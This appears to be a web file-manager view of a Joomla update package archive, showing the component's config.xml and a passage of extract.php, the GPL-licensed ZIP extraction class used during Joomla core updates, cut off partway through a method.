File manager - Edit - /home/opticamezl/www/newok/com_joomlaupdate.tar
Back
config.xml 0000644 00000004523 15173035674 0006552 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <config> <help key="Joomla_Update:_Options"/> <inlinehelp button="show"/> <fieldset name="sources" label="COM_JOOMLAUPDATE_CONFIG_SOURCES_LABEL" description="COM_JOOMLAUPDATE_CONFIG_SOURCES_DESC" > <field name="updatesource" type="list" label="COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LABEL" default="default" validate="options" > <!-- Note: Changed the values lts to default and sts to next with 3.4.0 --> <!-- Eliminated the 'nochange' option with 3.4.0 --> <!-- All invalid/unsupported/obsolete options equated to default in code with 3.4.0 --> <option value="default">COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DEFAULT</option> <option value="next">COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NEXT</option> <option value="testing">COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING</option> <option value="custom">COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM</option> </field> <field name="minimum_stability" type="list" label="COM_JOOMLAUPDATE_MINIMUM_STABILITY_LABEL" description="COM_JOOMLAUPDATE_MINIMUM_STABILITY_DESC" default="4" showon="updatesource:testing[OR]updatesource:custom" validate="options" > <option value="0">COM_JOOMLAUPDATE_MINIMUM_STABILITY_DEV</option> <option value="1">COM_JOOMLAUPDATE_MINIMUM_STABILITY_ALPHA</option> <option value="2">COM_JOOMLAUPDATE_MINIMUM_STABILITY_BETA</option> <option value="3">COM_JOOMLAUPDATE_MINIMUM_STABILITY_RC</option> <option value="4">COM_JOOMLAUPDATE_MINIMUM_STABILITY_STABLE</option> </field> <field name="customurl" type="text" label="COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_LABEL" default="" length="50" showon="updatesource:custom" /> <field name="versioncheck" type="radio" label="COM_JOOMLAUPDATE_CONFIG_VERSIONCHECK_LABEL" description="COM_JOOMLAUPDATE_CONFIG_VERSIONCHECK_DESC" layout="joomla.form.field.radio.switcher" default="1" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> <field name="backupcheck" type="radio" label="COM_JOOMLAUPDATE_CONFIG_BACKUPCHECK_LABEL" description="COM_JOOMLAUPDATE_CONFIG_BACKUPCHECK_DESC" layout="joomla.form.field.radio.switcher" default="1" > <option value="0">JHIDE</option> <option value="1">JSHOW</option> </field> </fieldset> </config> extract.php 0000644 00000167762 15173035674 0006765 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt * @phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace */ /** * Should you want to debug this file, please add a new line ABOVE this comment with the following * contents (excluding the space star space at the start of this line): * * define('_JOOMLA_UPDATE_DEBUG', 1); * * This will do two things: * - it will create the joomla_update.txt file in your site's temporary directory (default: tmp). * This file contains a debug log, detailing everything extract.php is doing during the extraction * of the Joomla update ZIP file. * - It will prevent extract.php from being overwritten during the update with a new version. This * is useful if you are testing any changes in extract.php you do not want accidentally * overwritten, or if you are given a modified extract.php by a Joomla core contributor with * changes which might fix your update problem. */ define('_JOOMLA_UPDATE', 1); /** * ZIP archive extraction class * * This is a derivative work of Akeeba Restore which is Copyright (c)2008-2021 Nicholas K. * Dionysopoulos and Akeeba Ltd, distributed under the terms of GNU General Public License version 3 * or later. * * The author of the original work has decided to relicense the derivative work under the terms of * the GNU General Public License version 2 or later and share the copyright of the derivative work * with Open Source Matters, Inc (OSM), granting OSM non-exclusive rights to this work per the terms * of the Joomla Contributor Agreement (JCA) the author signed back in 2011 and which is still in * effect. This is affirmed by the cryptographically signed commits in the Git repository containing * this file, the copyright messages and this notice here. * * @since 4.0.4 */ class ZIPExtraction { /** * How much data to read at once when processing files * * @var int * @since 4.0.4 */ private const CHUNK_SIZE = 524288; /** * Maximum execution time (seconds). * * Each page load will take at most this much time. Please note that if the ZIP archive contains fairly large, * compressed files we may overshoot this time since we can't interrupt the decompression. This should not be an * issue in the context of updating Joomla as the ZIP archive contains fairly small files. * * If this is too low it will cause too many requests to hit the server, potentially triggering a DoS protection and * causing the extraction to fail. If this is too big the extraction will not be as verbose and the user might think * something is broken. A value between 3 and 7 seconds is, therefore, recommended. * * @var int * @since 4.0.4 */ private const MAX_EXEC_TIME = 4; /** * Run-time execution bias (percentage points). * * We evaluate the time remaining on the timer before processing each file on the ZIP archive. If we have already * consumed at least this much percentage of the MAX_EXEC_TIME we will stop processing the archive in this page * load, return the result to the client and wait for it to call us again so we can resume the extraction. * * This becomes important when the MAX_EXEC_TIME is close to the PHP, PHP-FPM or Apache timeout on the server * (whichever is lowest) and there are fairly large files in the backup archive. If we start extracting a large, * compressed file close to a hard server timeout it's possible that we will overshoot that hard timeout and see the * extraction failing. * * Since Joomla Update is used to extract a ZIP archive with many small files we can keep at a fairly high 90% * without much fear that something will break. * * Example: if MAX_EXEC_TIME is 10 seconds and RUNTIME_BIAS is 80 each page load will take between 80% and 100% of * the MAX_EXEC_TIME, i.e. anywhere between 8 and 10 seconds. * * Lower values make it less likely to overshoot MAX_EXEC_TIME when extracting large files. * * @var int * @since 4.0.4 */ private const RUNTIME_BIAS = 90; /** * Minimum execution time (seconds). * * A request cannot take less than this many seconds. If it does, we add “dead time” (sleep) where the script does * nothing except wait. This is essentially a rate limiting feature to avoid hitting a server-side DoS protection * which could be triggered if we ended up sending too many requests in a limited amount of time. * * This should normally be less than MAX_EXEC * (RUNTIME_BIAS / 100). Values between that and MAX_EXEC_TIME have the * effect of almost always adding dead time in each request, unless a really large file is being extracted from the * ZIP archive. Values larger than MAX_EXEC will always add dead time to the request. This can be useful to * artificially reduce the CPU usage limit. Some servers might kill the request if they see a sustained CPU usage * spike over a short period of time. * * The chosen value of 3 seconds belongs to the first category, essentially making sure that we have a decent rate * limiting without annoying the user too much but also catering for the most badly configured of shared * hosting. It's a happy medium which works for the majority (~90%) of commercial servers out there. * * @var int * @since 4.0.4 */ private const MIN_EXEC_TIME = 3; /** * Internal state when extracting files: we need to be initialised * * @var int * @since 4.0.4 */ private const AK_STATE_INITIALIZE = -1; /** * Internal state when extracting files: no file currently being extracted * * @var int * @since 4.0.4 */ private const AK_STATE_NOFILE = 0; /** * Internal state when extracting files: reading the file header * * @var int * @since 4.0.4 */ private const AK_STATE_HEADER = 1; /** * Internal state when extracting files: reading file data * * @var int * @since 4.0.4 */ private const AK_STATE_DATA = 2; /** * Internal state when extracting files: file data has been read thoroughly * * @var int * @since 4.0.4 */ private const AK_STATE_DATAREAD = 3; /** * Internal state when extracting files: post-processing the file * * @var int * @since 4.0.4 */ private const AK_STATE_POSTPROC = 4; /** * Internal state when extracting files: done with this file * * @var int * @since 4.0.4 */ private const AK_STATE_DONE = 5; /** * Internal state when extracting files: finished extracting the ZIP file * * @var int * @since 4.0.4 */ private const AK_STATE_FINISHED = 999; /** * Internal logging level: debug * * @var int * @since 4.0.4 */ private const LOG_DEBUG = 1; /** * Internal logging level: information * * @var int * @since 4.0.4 */ private const LOG_INFO = 10; /** * Internal logging level: warning * * @var int * @since 4.0.4 */ private const LOG_WARNING = 50; /** * Internal logging level: error * * @var int * @since 4.0.4 */ private const LOG_ERROR = 90; /** * Singleton instance * * @var null|self * @since 4.0.4 */ private static $instance = null; /** * Debug log file pointer resource * * @var null|resource|boolean * @since 4.0.4 */ private static $logFP = null; /** * Debug log filename * * @var null|string * @since 4.0.4 */ private static $logFilePath = null; /** * The total size of the ZIP archive * * @var integer * @since 4.0.4 */ public $totalSize = 0; /** * Which files to skip * * @var array * @since 4.0.4 */ public $skipFiles = []; /** * Current tally of compressed size read * * @var integer * @since 4.0.4 */ public $compressedTotal = 0; /** * Current tally of bytes written to disk * * @var integer * @since 4.0.4 */ public $uncompressedTotal = 0; /** * Current tally of files extracted * * @var integer * @since 4.0.4 */ public $filesProcessed = 0; /** * Maximum execution time allowance per step * * @var integer * @since 4.0.4 */ private $maxExecTime = null; /** * Timestamp of execution start * * @var integer * @since 4.0.4 */ private $startTime; /** * The last error message * * @var string|null * @since 4.0.4 */ private $lastErrorMessage = null; /** * Archive filename * * @var string * @since 4.0.4 */ private $filename = null; /** * Current archive part number * * @var boolean * @since 4.0.4 */ private $archiveFileIsBeingRead = false; /** * The offset inside the current part * * @var integer * @since 4.0.4 */ private $currentOffset = 0; /** * Absolute path to prepend to extracted files * * @var string * @since 4.0.4 */ private $addPath = ''; /** * File pointer to the current archive part file * * @var resource|null * @since 4.0.4 */ private $fp = null; /** * Run state when processing the current archive file * * @var integer * @since 4.0.4 */ private $runState = self::AK_STATE_INITIALIZE; /** * File header data, as read by the readFileHeader() method * * @var stdClass * @since 4.0.4 */ private $fileHeader = null; /** * How much of the uncompressed data we've read so far * * @var integer * @since 4.0.4 */ private $dataReadLength = 0; /** * Unwritable files in these directories are always ignored and do not cause errors when not * extracted. * * @var array * @since 4.0.4 */ private $ignoreDirectories = []; /** * Internal flag, set when the ZIP file has a data descriptor (which we will be ignoring) * * @var boolean * @since 4.0.4 */ private $expectDataDescriptor = false; /** * The UNIX last modification timestamp of the file last extracted * * @var integer * @since 4.0.4 */ private $lastExtractedFileTimestamp = 0; /** * The file path of the file last extracted * * @var string * @since 4.0.4 */ private $lastExtractedFilename = null; /** * Public constructor. * * Sets up the internal timer. * * @since 4.0.4 */ public function __construct() { $this->setupMaxExecTime(); // Initialize start time $this->startTime = microtime(true); } /** * Singleton implementation. * * @return static * @since 4.0.4 */ public static function getInstance(): self { if (is_null(self::$instance)) { self::$instance = new self(); } return self::$instance; } /** * Returns a serialised copy of the object. * * This is different to calling serialise() directly. This operates on a copy of the object which undergoes a * call to shutdown() first so any open files are closed first. * * @return string The serialised data, potentially base64 encoded. * @since 4.0.4 */ public static function getSerialised(): string { $clone = clone self::getInstance(); $clone->shutdown(); $serialized = serialize($clone); return (function_exists('base64_encode') && function_exists('base64_decode')) ? base64_encode($serialized) : $serialized; } /** * Restores a serialised instance into the singleton implementation and returns it. * * If the serialised data is corrupt it will return null. * * @param string $serialised The serialised data, potentially base64 encoded, to deserialize. * * @return static|null The instance of the object, NULL if it cannot be deserialised. * @since 4.0.4 */ public static function unserialiseInstance(string $serialised): ?self { if (function_exists('base64_encode') && function_exists('base64_decode')) { $serialised = base64_decode($serialised); } $instance = @unserialize($serialised, [ 'allowed_classes' => [ self::class, stdClass::class, ], ]); if (($instance === false) || !is_object($instance) || !($instance instanceof self)) { return null; } self::$instance = $instance; return self::$instance; } /** * Wakeup function, called whenever the class is deserialized. * * This method does the following: * - Restart the timer. * - Reopen the archive file, if one is defined. * - Seek to the correct offset of the file. * * @return void * @since 4.0.4 * @internal */ public function __wakeup(): void { // Reset the timer when deserializing the object. $this->startTime = microtime(true); if (!$this->archiveFileIsBeingRead) { return; } $this->fp = @fopen($this->filename, 'rb'); if ((is_resource($this->fp)) && ($this->currentOffset > 0)) { @fseek($this->fp, $this->currentOffset); } } /** * Enforce the minimum execution time. * * @return void * @since 4.0.4 */ public function enforceMinimumExecutionTime() { $elapsed = $this->getRunningTime() * 1000; $minExecTime = 1000.0 * min(1, (min(self::MIN_EXEC_TIME, $this->getPhpMaxExecTime()) - 1)); // Only run a sleep delay if we haven't reached the minimum execution time if (($minExecTime <= $elapsed) || ($elapsed <= 0)) { return; } $sleepMillisec = intval($minExecTime - $elapsed); /** * If we need to sleep for more than 1 second we should be using sleep() or time_sleep_until() to prevent high * CPU usage, also because some OS might not support sleeping for over 1 second using these functions. In all * other cases we will try to use usleep or time_nanosleep instead. */ $longSleep = $sleepMillisec > 1000; $miniSleepSupported = function_exists('usleep') || function_exists('time_nanosleep'); if (!$longSleep && $miniSleepSupported) { if (function_exists('usleep') && ($sleepMillisec < 1000)) { usleep(1000 * $sleepMillisec); return; } if (function_exists('time_nanosleep') && ($sleepMillisec < 1000)) { time_nanosleep(0, 1000000 * $sleepMillisec); return; } } if (function_exists('sleep')) { sleep(ceil($sleepMillisec / 1000)); return; } if (function_exists('time_sleep_until')) { time_sleep_until(time() + ceil($sleepMillisec / 1000)); } } /** * Set the filepath to the ZIP archive which will be extracted. * * @param string $value The filepath to the archive. Only LOCAL files are allowed! * * @return void * @since 4.0.4 */ public function setFilename(string $value) { // Security check: disallow remote filenames if (!empty($value) && strpos($value, '://') !== false) { $this->setError('Invalid archive location'); return; } $this->filename = $value; $this->initializeLog(dirname($this->filename)); } /** * Sets the path to prefix all extracted files with. Essentially, where the archive will be extracted to. * * @param string $addPath The path where the archive will be extracted. * * @return void * @since 4.0.4 */ public function setAddPath(string $addPath): void { $this->addPath = $addPath; $this->addPath = str_replace('\\', '/', $this->addPath); $this->addPath = rtrim($this->addPath, '/'); if (!empty($this->addPath)) { $this->addPath .= '/'; } } /** * Set the list of files to skip when extracting the ZIP file. * * @param array $skipFiles A list of files to skip when extracting the ZIP archive * * @return void * @since 4.0.4 */ public function setSkipFiles(array $skipFiles): void { $this->skipFiles = array_values($skipFiles); } /** * Set the directories to skip over when extracting the ZIP archive * * @param array $ignoreDirectories The list of directories to ignore. * * @return void * @since 4.0.4 */ public function setIgnoreDirectories(array $ignoreDirectories): void { $this->ignoreDirectories = array_values($ignoreDirectories); } /** * Prepares for the archive extraction * * @return void * @since 4.0.4 */ public function initialize(): void { $this->debugMsg(sprintf('Initializing extraction. Filepath: %s', $this->filename)); $this->totalSize = @filesize($this->filename) ?: 0; $this->archiveFileIsBeingRead = false; $this->currentOffset = 0; $this->runState = self::AK_STATE_NOFILE; $this->readArchiveHeader(); if (!empty($this->getError())) { $this->debugMsg(sprintf('Error: %s', $this->getError()), self::LOG_ERROR); return; } $this->archiveFileIsBeingRead = true; $this->runState = self::AK_STATE_NOFILE; $this->debugMsg('Setting state to NOFILE', self::LOG_DEBUG); } /** * Executes a step of the archive extraction * * @return boolean True if we are done extracting or an error occurred * @since 4.0.4 */ public function step(): bool { $status = true; $this->debugMsg('Starting a new step', self::LOG_INFO); while ($status && ($this->getTimeLeft() > 0)) { switch ($this->runState) { case self::AK_STATE_INITIALIZE: $this->debugMsg('Current run state: INITIALIZE', self::LOG_DEBUG); $this->initialize(); break; case self::AK_STATE_NOFILE: $this->debugMsg('Current run state: NOFILE', self::LOG_DEBUG); $status = $this->readFileHeader(); if ($status) { $this->debugMsg('Found file header; updating number of files processed and bytes in/out', self::LOG_DEBUG); // Update running tallies when we start extracting a file $this->filesProcessed++; $this->compressedTotal += array_key_exists('compressed', get_object_vars($this->fileHeader)) ? $this->fileHeader->compressed : 0; $this->uncompressedTotal += $this->fileHeader->uncompressed; } break; case self::AK_STATE_HEADER: case self::AK_STATE_DATA: $runStateHuman = $this->runState === self::AK_STATE_HEADER ? 'HEADER' : 'DATA'; $this->debugMsg(sprintf('Current run state: %s', $runStateHuman), self::LOG_DEBUG); $status = $this->processFileData(); break; case self::AK_STATE_DATAREAD: case self::AK_STATE_POSTPROC: $runStateHuman = $this->runState === self::AK_STATE_DATAREAD ? 'DATAREAD' : 'POSTPROC'; $this->debugMsg(sprintf('Current run state: %s', $runStateHuman), self::LOG_DEBUG); $this->setLastExtractedFileTimestamp($this->fileHeader->timestamp); $this->processLastExtractedFile(); $status = true; $this->runState = self::AK_STATE_DONE; break; case self::AK_STATE_DONE: default: $this->debugMsg('Current run state: DONE', self::LOG_DEBUG); $this->runState = self::AK_STATE_NOFILE; break; case self::AK_STATE_FINISHED: $this->debugMsg('Current run state: FINISHED', self::LOG_DEBUG); $status = false; break; } if ($this->getTimeLeft() <= 0) { $this->debugMsg('Ran out of time; the step will break.'); } elseif (!$status) { $this->debugMsg('Last step status is false; the step will break.'); } } $error = $this->getError() ?? null; if (!empty($error)) { $this->debugMsg(sprintf('Step failed with error: %s', $error), self::LOG_ERROR); } // Did we just finish or run into an error? if (!empty($error) || $this->runState === self::AK_STATE_FINISHED) { $this->debugMsg('Returning true (must stop running) from step()', self::LOG_DEBUG); // Reset internal state, prevents __wakeup from trying to open a non-existent file $this->archiveFileIsBeingRead = false; return true; } $this->debugMsg('Returning false (must continue running) from step()', self::LOG_DEBUG); return false; } /** * Get the most recent error message * * @return string|null The message string, null if there's no error * @since 4.0.4 */ public function getError(): ?string { return $this->lastErrorMessage; } /** * Gets the number of seconds left, before we hit the "must break" threshold * * @return float * @since 4.0.4 */ private function getTimeLeft(): float { return $this->maxExecTime - $this->getRunningTime(); } /** * Gets the time elapsed since object creation/unserialization, effectively how * long Akeeba Engine has been processing data * * @return float * @since 4.0.4 */ private function getRunningTime(): float { return microtime(true) - $this->startTime; } /** * Process the last extracted file or directory * * This invalidates OPcache for .php files. Also applies the correct permissions and timestamp. * * @return void * @since 4.0.4 */ private function processLastExtractedFile(): void { $this->debugMsg(sprintf('Processing last extracted entity: %s', $this->lastExtractedFilename), self::LOG_DEBUG); if (@is_file($this->lastExtractedFilename)) { @chmod($this->lastExtractedFilename, 0644); clearFileInOPCache($this->lastExtractedFilename); } else { @chmod($this->lastExtractedFilename, 0755); } if ($this->lastExtractedFileTimestamp > 0) { @touch($this->lastExtractedFilename, $this->lastExtractedFileTimestamp); } } /** * Set the last extracted filename * * @param string|null $lastExtractedFilename The last extracted filename * * @return void * @since 4.0.4 */ private function setLastExtractedFilename(?string $lastExtractedFilename): void { $this->lastExtractedFilename = $lastExtractedFilename; } /** * Set the last modification UNIX timestamp for the last extracted file * * @param int $lastExtractedFileTimestamp The timestamp * * @return void * @since 4.0.4 */ private function setLastExtractedFileTimestamp(int $lastExtractedFileTimestamp): void { $this->lastExtractedFileTimestamp = $lastExtractedFileTimestamp; } /** * Sleep function, called whenever the class is serialized * * @return void * @since 4.0.4 * @internal */ private function shutdown(): void { if (is_resource(self::$logFP)) { @fclose(self::$logFP); } if (!is_resource($this->fp)) { return; } $this->currentOffset = @ftell($this->fp); @fclose($this->fp); } /** * Unicode-safe binary data length * * @param string|null $string The binary data to get the length for * * @return integer * @since 4.0.4 */ private function binStringLength(?string $string): int { if (is_null($string)) { return 0; } if (function_exists('mb_strlen')) { return mb_strlen($string, '8bit') ?: 0; } return strlen($string) ?: 0; } /** * Add an error message * * @param string $error Error message * * @return void * @since 4.0.4 */ private function setError(string $error): void { $this->lastErrorMessage = $error; } /** * Reads data from the archive. * * @param resource $fp The file pointer to read data from * @param int|null $length The volume of data to read, in bytes * * @return string The data read from the file * @since 4.0.4 */ private function fread($fp, ?int $length = null): string { $readLength = (is_numeric($length) && ($length > 0)) ? $length : PHP_INT_MAX; $data = fread($fp, $readLength); if ($data === false) { $this->debugMsg('No more data could be read from the file', self::LOG_WARNING); $data = ''; } return $data; } /** * Read the header of the archive, making sure it's a valid ZIP file. * * @return void * @since 4.0.4 */ private function readArchiveHeader(): void { $this->debugMsg('Reading the archive header.', self::LOG_DEBUG); // Open the first part $this->openArchiveFile(); // Fail for unreadable files if ($this->fp === false) { return; } // Read the header data. $sigBinary = fread($this->fp, 4); $headerData = unpack('Vsig', $sigBinary); // We only support single part ZIP files if ($headerData['sig'] != 0x04034b50) { $this->setError('The archive file is corrupt: bad header'); return; } // Roll back the file pointer fseek($this->fp, -4, SEEK_CUR); $this->currentOffset = @ftell($this->fp); $this->dataReadLength = 0; } /** * Concrete classes must use this method to read the file header * * @return boolean True if reading the file was successful, false if an error occurred or we * reached end of archive. * @since 4.0.4 */ private function readFileHeader(): bool { $this->debugMsg('Reading the file entry header.', self::LOG_DEBUG); if (!is_resource($this->fp)) { $this->setError('The archive is not open for reading.'); return false; } // Unexpected end of file if ($this->isEOF()) { $this->debugMsg('EOF when reading file header data', self::LOG_WARNING); $this->setError('The archive is corrupt or truncated'); return false; } $this->currentOffset = ftell($this->fp); if ($this->expectDataDescriptor) { $this->debugMsg('Expecting data descriptor (bit 3 of general purpose flag was set).', self::LOG_DEBUG); /** * The last file had bit 3 of the general purpose bit flag set. This means that we have a 12 byte data * descriptor we need to skip. To make things worse, there might also be a 4 byte optional data descriptor * header (0x08074b50). */ $junk = @fread($this->fp, 4); $junk = unpack('Vsig', $junk); $readLength = ($junk['sig'] == 0x08074b50) ? 12 : 8; $junk = @fread($this->fp, $readLength); // And check for EOF, too if ($this->isEOF()) { $this->debugMsg('EOF when reading data descriptor', self::LOG_WARNING); $this->setError('The archive is corrupt or truncated'); return false; } } // Get and decode Local File Header $headerBinary = fread($this->fp, 30); $format = 'Vsig/C2ver/vbitflag/vcompmethod/vlastmodtime/vlastmoddate/Vcrc/Vcompsize/' . 'Vuncomp/vfnamelen/veflen'; $headerData = unpack($format, $headerBinary); // Check signature if (!($headerData['sig'] == 0x04034b50)) { // The signature is not the one used for files. Is this a central directory record (i.e. we're done)? if ($headerData['sig'] == 0x02014b50) { $this->debugMsg('Found Central Directory header; the extraction is complete', self::LOG_DEBUG); // End of ZIP file detected. We'll just skip to the end of file... @fseek($this->fp, 0, SEEK_END); $this->runState = self::AK_STATE_FINISHED; return false; } $this->setError('The archive file is corrupt or truncated'); return false; } // If bit 3 of the bitflag is set, expectDataDescriptor is true $this->expectDataDescriptor = ($headerData['bitflag'] & 4) == 4; $this->fileHeader = new stdClass(); $this->fileHeader->timestamp = 0; // Read the last modified date and time $lastmodtime = $headerData['lastmodtime']; $lastmoddate = $headerData['lastmoddate']; if ($lastmoddate && $lastmodtime) { $vHour = ($lastmodtime & 0xF800) >> 11; $vMInute = ($lastmodtime & 0x07E0) >> 5; $vSeconds = ($lastmodtime & 0x001F) * 2; $vYear = (($lastmoddate & 0xFE00) >> 9) + 1980; $vMonth = ($lastmoddate & 0x01E0) >> 5; $vDay = $lastmoddate & 0x001F; $this->fileHeader->timestamp = @mktime($vHour, $vMInute, $vSeconds, $vMonth, $vDay, $vYear); } $isBannedFile = false; $this->fileHeader->compressed = $headerData['compsize']; $this->fileHeader->uncompressed = $headerData['uncomp']; $nameFieldLength = $headerData['fnamelen']; $extraFieldLength = $headerData['eflen']; // Read filename field $this->fileHeader->file = fread($this->fp, $nameFieldLength); // Read extra field if present if ($extraFieldLength > 0) { $extrafield = fread($this->fp, $extraFieldLength); } // Decide filetype -- Check for directories $this->fileHeader->type = 'file'; if (strrpos($this->fileHeader->file, '/') == strlen($this->fileHeader->file) - 1) { $this->fileHeader->type = 'dir'; } // Decide filetype -- Check for symbolic links if (($headerData['ver1'] == 10) && ($headerData['ver2'] == 3)) { $this->fileHeader->type = 'link'; } switch ($headerData['compmethod']) { case 0: $this->fileHeader->compression = 'none'; break; case 8: $this->fileHeader->compression = 'gzip'; break; default: $messageTemplate = 'This script cannot handle ZIP compression method %d. ' . 'Only 0 (no compression) and 8 (DEFLATE, gzip) can be handled.'; $actualMessage = sprintf($messageTemplate, $headerData['compmethod']); $this->setError($actualMessage); return false; break; } // Find hard-coded banned files if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == "..")) { $isBannedFile = true; } // Also try to find banned files passed in class configuration if ((count($this->skipFiles) > 0) && in_array($this->fileHeader->file, $this->skipFiles)) { $isBannedFile = true; } // If we have a banned file, let's skip it if ($isBannedFile) { $debugMessage = sprintf('Current entity (%s) is banned from extraction and will be skipped over.', $this->fileHeader->file); $this->debugMsg($debugMessage, self::LOG_DEBUG); // Advance the file pointer, skipping exactly the size of the compressed data $seekleft = $this->fileHeader->compressed; while ($seekleft > 0) { // Ensure that we can seek past archive part boundaries $curSize = @filesize($this->filename); $curPos = @ftell($this->fp); $canSeek = $curSize - $curPos; $canSeek = ($canSeek > $seekleft) ? $seekleft : $canSeek; @fseek($this->fp, $canSeek, SEEK_CUR); $seekleft -= $canSeek; if ($seekleft) { $this->setError('The archive is corrupt or truncated'); return false; } } $this->currentOffset = @ftell($this->fp); $this->runState = self::AK_STATE_DONE; return true; } // Last chance to prepend a path to the filename if (!empty($this->addPath)) { $this->fileHeader->file = $this->addPath . $this->fileHeader->file; } // Get the translated path name if ($this->fileHeader->type == 'file') { $this->fileHeader->realFile = $this->fileHeader->file; $this->setLastExtractedFilename($this->fileHeader->file); } elseif ($this->fileHeader->type == 'dir') { $this->fileHeader->timestamp = 0; $dir = $this->fileHeader->file; if (!@is_dir($dir)) { mkdir($dir, 0755, true); } $this->setLastExtractedFilename(null); } else { // Symlink; do not post-process $this->fileHeader->timestamp = 0; $this->setLastExtractedFilename(null); } $this->createDirectory(); // Header is read $this->runState = self::AK_STATE_HEADER; return true; } /** * Creates the directory this file points to * * @return void * @since 4.0.4 */ private function createDirectory(): void { // Do we need to create a directory? if (empty($this->fileHeader->realFile)) { $this->fileHeader->realFile = $this->fileHeader->file; } $lastSlash = strrpos($this->fileHeader->realFile, '/'); $dirName = substr($this->fileHeader->realFile, 0, $lastSlash); $perms = 0755; $ignore = $this->isIgnoredDirectory($dirName); if (@is_dir($dirName)) { return; } if ((@mkdir($dirName, $perms, true) === false) && (!$ignore)) { $this->setError(sprintf('Could not create %s folder', $dirName)); } } /** * Concrete classes must use this method to process file data. It must set $runState to self::AK_STATE_DATAREAD when * it's finished processing the file data. * * @return boolean True if processing the file data was successful, false if an error occurred * @since 4.0.4 */ private function processFileData(): bool { switch ($this->fileHeader->type) { case 'dir': $this->debugMsg('Extracting entity of type Directory', self::LOG_DEBUG); return $this->processTypeDir(); break; case 'link': $this->debugMsg('Extracting entity of type Symbolic Link', self::LOG_DEBUG); return $this->processTypeLink(); break; case 'file': switch ($this->fileHeader->compression) { case 'none': $this->debugMsg('Extracting entity of type File (Stored)', self::LOG_DEBUG); return $this->processTypeFileUncompressed(); break; case 'gzip': case 'bzip2': $this->debugMsg('Extracting entity of type File (Compressed)', self::LOG_DEBUG); return $this->processTypeFileCompressed(); break; case 'default': $this->setError(sprintf('Unknown compression type %s.', $this->fileHeader->compression)); return false; break; } break; } $this->setError(sprintf('Unknown entry type %s.', $this->fileHeader->type)); return false; } /** * Opens the next part file for reading * * @return void * @since 4.0.4 */ private function openArchiveFile(): void { $this->debugMsg('Opening archive file for reading', self::LOG_DEBUG); if ($this->archiveFileIsBeingRead) { return; } if (is_resource($this->fp)) { @fclose($this->fp); } $this->fp = @fopen($this->filename, 'rb'); if ($this->fp === false) { $message = 'Could not open archive for reading. Check that the file exists, is ' . 'readable by the web server and is not in a directory made out of reach by chroot, ' . 'open_basedir restrictions or any other restriction put in place by your host.'; $this->setError($message); return; } fseek($this->fp, 0); $this->currentOffset = 0; } /** * Returns true if we have reached the end of file * * @return boolean True if we have reached End Of File * @since 4.0.4 */ private function isEOF(): bool { /** * feof() will return false if the file pointer is exactly at the last byte of the file. However, this is a * condition we want to treat as a proper EOF for the purpose of extracting a ZIP file. Hence the second part * after the logical OR. */ return @feof($this->fp) || (@ftell($this->fp) > @filesize($this->filename)); } /** * Handles the permissions of the parent directory to a file and the file itself to make it writeable. * * @param string $path A path to a file * * @return void * @since 4.0.4 */ private function setCorrectPermissions(string $path): void { static $rootDir = null; if (is_null($rootDir)) { $rootDir = rtrim($this->addPath, '/\\'); } $directory = rtrim(dirname($path), '/\\'); // Is this an unwritable directory? if (($directory != $rootDir) && !is_writeable($directory)) { @chmod($directory, 0755); } @chmod($path, 0644); } /** * Is this file or directory contained in a directory we've decided to ignore * write errors for? This is useful to let the extraction work despite write * errors in the log, logs and tmp directories which MIGHT be used by the system * on some low quality hosts and Plesk-powered hosts. * * @param string $shortFilename The relative path of the file/directory in the package * * @return boolean True if it belongs in an ignored directory * @since 4.0.4 */ private function isIgnoredDirectory(string $shortFilename): bool { $check = substr($shortFilename, -1) == '/' ? rtrim($shortFilename, '/') : dirname($shortFilename); return in_array($check, $this->ignoreDirectories); } /** * Process the file data of a directory entry * * @return boolean * @since 4.0.4 */ private function processTypeDir(): bool { // Directory entries do not have file data, therefore we're done processing the entry. $this->runState = self::AK_STATE_DATAREAD; return true; } /** * Process the file data of a link entry * * @return boolean * @since 4.0.4 */ private function processTypeLink(): bool { $toReadBytes = 0; $leftBytes = $this->fileHeader->compressed; $data = ''; while ($leftBytes > 0) { $toReadBytes = min($leftBytes, self::CHUNK_SIZE); $mydata = $this->fread($this->fp, $toReadBytes); $reallyReadBytes = $this->binStringLength($mydata); $data .= $mydata; $leftBytes -= $reallyReadBytes; if ($reallyReadBytes < $toReadBytes) { // We read less than requested! if ($this->isEOF()) { $this->debugMsg('EOF when reading symlink data', self::LOG_WARNING); $this->setError('The archive file is corrupt or truncated'); return false; } } } $filename = $this->fileHeader->realFile ?? $this->fileHeader->file; // Try to remove an existing file or directory by the same name if (file_exists($filename)) { clearFileInOPCache($filename); @unlink($filename); @rmdir($filename); } // Remove any trailing slash if (substr($filename, -1) == '/') { $filename = substr($filename, 0, -1); } // Create the symlink @symlink($data, $filename); $this->runState = self::AK_STATE_DATAREAD; // No matter if the link was created! return true; } /** * Processes an uncompressed (stored) file * * @return boolean * @since 4.0.4 */ private function processTypeFileUncompressed(): bool { // Uncompressed files are being processed in small chunks, to avoid timeouts if ($this->dataReadLength == 0) { // Before processing file data, ensure permissions are adequate $this->setCorrectPermissions($this->fileHeader->file); // This file is changed during the script's operation so we clear the status cache. clearstatcache($this->fileHeader->file); } // Open the output file $ignore = $this->isIgnoredDirectory($this->fileHeader->file); $writeMode = ($this->dataReadLength == 0) ? 'wb' : 'ab'; $outfp = @fopen($this->fileHeader->realFile, $writeMode); // Can we write to the file? if (($outfp === false) && (!$ignore)) { // An error occurred $this->setError(sprintf('Could not open %s for writing.', $this->fileHeader->realFile)); return false; } // Does the file have any data, at all? if ($this->fileHeader->compressed == 0) { // No file data! if (is_resource($outfp)) { @fclose($outfp); } $this->debugMsg('Zero byte Stored file; no data will be read', self::LOG_DEBUG); $this->runState = self::AK_STATE_DATAREAD; return true; } $leftBytes = $this->fileHeader->compressed - $this->dataReadLength; // Loop while there's data to read and enough 